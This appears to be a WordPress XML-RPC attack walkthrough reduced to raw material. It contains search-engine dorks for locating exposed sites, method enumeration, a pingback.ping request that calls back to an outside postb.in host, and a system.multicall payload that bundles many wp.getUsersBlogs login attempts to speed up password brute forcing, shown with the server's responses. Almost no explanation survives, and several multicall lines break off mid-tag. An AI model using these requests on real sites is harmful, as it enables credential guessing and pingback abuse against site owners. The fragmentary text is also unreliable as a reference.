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*.example.com

• inurl:"/xmlrpc.php?rsd"

• intitle:"WordPress" inurl:"readme.html"

• allinurl:"wp-content/plugins/"

xmlrpc.php

XML-RPC

server accepts POST requests only.

POST /xmlrpc.php HTTP/1.1

Host: example.com
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Content-Length: 135

<?xml version="1.0" encoding="utf-8"?> 

<methodCall>

<methodName>system.listMethods</methodName>

<params></params>

</methodCall>

HTTP/1.1 200 OK

Date: Mon, 01 Jul 2019 17:13:30 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubdomains; preload

Connection: close

Vary: Accept-Encoding

Referrer-Policy: no-referrer-when-downgrade

Content-Length: 4272

Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>

<methodResponse>

<params>

<param>

<value>

<array><data>

<value><string>system.multicall</string></value>

<value><string>system.listMethods</string></value>

<value><string>system.getCapabilities</string></value>

<value><string>demo.addTwoNumbers</string></value>

<value><string>demo.sayHello</string></value>

<value><string>pingback.extensions.getPingbacks</string></value>

<value><string>pingback.ping</string></value>

<value><string>mt.publishPost</string></value>

<value><string>mt.getTrackbackPings</string></value>

<value><string>mt.supportedTextFilters</string></value>

<value><string>mt.supportedMethods</string></value>

<value><string>mt.setPostCategories</string></value>

<value><string>mt.getPostCategories</string></value>

<value><string>mt.getRecentPostTitles</string></value>

<value><string>mt.getCategoryList</string></value>

<value><string>metaWeblog.getUsersBlogs</string></value>

<value><string>metaWeblog.deletePost</string></value>

<value><string>metaWeblog.newMediaObject</string></value>

<value><string>metaWeblog.getCategories</string></value>

<value><string>metaWeblog.getRecentPosts</string></value>

<value><string>metaWeblog.getPost</string></value>

<value><string>metaWeblog.editPost</string></value>

<value><string>metaWeblog.newPost</string></value>

<value><string>blogger.deletePost</string></value>

<value><string>blogger.editPost</string></value>
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<value><string>blogger.newPost</string></value>

<value><string>blogger.getRecentPosts</string></value>

<value><string>blogger.getPost</string></value>

<value><string>blogger.getUserInfo</string></value>

<value><string>blogger.getUsersBlogs</string></value>

<value><string>wp.restoreRevision</string></value>

<value><string>wp.getRevisions</string></value>

<value><string>wp.getPostTypes</string></value>

<value><string>wp.getPostType</string></value>

<value><string>wp.getPostFormats</string></value>

<value><string>wp.getMediaLibrary</string></value>

<value><string>wp.getMediaItem</string></value>

<value><string>wp.getCommentStatusList</string></value>

<value><string>wp.newComment</string></value>

<value><string>wp.editComment</string></value>

<value><string>wp.deleteComment</string></value>

<value><string>wp.getComments</string></value>

<value><string>wp.getComment</string></value>

<value><string>wp.setOptions</string></value>

<value><string>wp.getOptions</string></value>

<value><string>wp.getPageTemplates</string></value>

<value><string>wp.getPageStatusList</string></value>

<value><string>wp.getPostStatusList</string></value>

<value><string>wp.getCommentCount</string></value>

<value><string>wp.deleteFile</string></value>

<value><string>wp.uploadFile</string></value>

<value><string>wp.suggestCategories</string></value>

<value><string>wp.deleteCategory</string></value>

<value><string>wp.newCategory</string></value>

<value><string>wp.getTags</string></value>

<value><string>wp.getCategories</string></value>

<value><string>wp.getAuthors</string></value>

<value><string>wp.getPageList</string></value>

<value><string>wp.editPage</string></value>

<value><string>wp.deletePage</string></value>

<value><string>wp.newPage</string></value>

<value><string>wp.getPages</string></value>

<value><string>wp.getPage</string></value>

<value><string>wp.editProfile</string></value>

<value><string>wp.getProfile</string></value>

<value><string>wp.getUsers</string></value>

<value><string>wp.getUser</string></value>

<value><string>wp.getTaxonomies</string></value>

<value><string>wp.getTaxonomy</string></value>

<value><string>wp.getTerms</string></value>

<value><string>wp.getTerm</string></value>

<value><string>wp.deleteTerm</string></value>

<value><string>wp.editTerm</string></value>

<value><string>wp.newTerm</string></value>

<value><string>wp.getPosts</string></value>

<value><string>wp.getPost</string></value>

<value><string>wp.deletePost</string></value>
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<value><string>wp.editPost</string></value>

<value><string>wp.newPost</string></value>

<value><string>wp.getUsersBlogs</string></value>

</data></array>

</value>

</param>

</params>

</methodResponse>

<methodName>system.listMethods</methodName>

POST /xmlrpc.php HTTP/1.1

Host: example.com

Content-Length: 130

<?xml version="1.0" encoding="utf-8"?> 

<methodCall>

<methodName>demo.sayHello</methodName>

<params></params>

</methodCall>

HTTP/1.1 200 OK

Date: Mon, 01 Jul 2019 17:19:05 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubdomains; preload

Connection: close

Vary: Accept-Encoding

Referrer-Policy: no-referrer-when-downgrade

Content-Length: 181

Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>

<methodResponse>

<params>

<param>

<value>

<string>Hello!</string>

</value>

</param>

</params>
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</methodResponse>

POST /xmlrpc.php HTTP/1.1

Host: example.com

Content-Length: 303

<?xml version="1.0" encoding="UTF-8"?>

<methodCall>

<methodName>pingback.ping</methodName>

<params>

<param>

<value><string>https://postb.in/1562017983221-4377199190203</string></value>

</param>

<param>

<value><string>https://example.com/</string></value>

</param>

</params>

</methodCall>

HTTP/1.1 200 OK

Date: Mon, 01 Jul 2019 21:53:56 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubdomains; preload

Connection: close
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Vary: Accept-Encoding

Referrer-Policy: no-referrer-when-downgrade

Content-Length: 370

Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>

<methodResponse>

<fault>

<value>

<struct>

<member>

<name>faultCode</name>

<value><int>0</int></value>

</member>

<member>

<name>faultString</name>

<value><string></string></value>

</member>

</struct>

</value>

</fault>

</methodResponse>

POST /xmlrpc.php HTTP/1.1

Host: example.com

Content-Length: 235

<?xml version="1.0" encoding="UTF-8"?>

<methodCall>
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<methodName>wp.getUsersBlogs</methodName>

<params>

<param><value>\{\{your username\}\}</value></param>

<param><value>\{\{your password\}\}</value></param>

</params>

</methodCall>

POST /xmlrpc.php HTTP/1.1

Host: example.com

Content-Length: 1560

<?xml version="1.0"?>

<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value><

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value><

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value><

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value><

</data></array></value></param></params></methodCall>

HTTP/1.1 200 OK

Date: Mon, 01 Jul 2019 23:02:55 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubdomains; preload

Connection: close

Vary: Accept-Encoding

Referrer-Policy: no-referrer-when-downgrade

Content-Length: 1043

Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
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<methodResponse>

<params>

<param>

<value>

<array><data>

<value><struct>

<member><name>faultCode</name><value><int>403</int></value></member>

<member><name>faultString</name><value><string>Incorrect username or password.

</struct></value>

<value><struct>

<member><name>faultCode</name><value><int>403</int></value></member>

<member><name>faultString</name><value><string>Incorrect username or password.

</struct></value>

<value><struct>

<member><name>faultCode</name><value><int>403</int></value></member>

<member><name>faultString</name><value><string>Incorrect username or password.

</struct></value>

<value><struct>

<member><name>faultCode</name><value><int>403</int></value></member>

<member><name>faultString</name><value><string>Incorrect username or password.

</struct></value>

</data></array>

</value>

</param>

</params>

</methodResponse>
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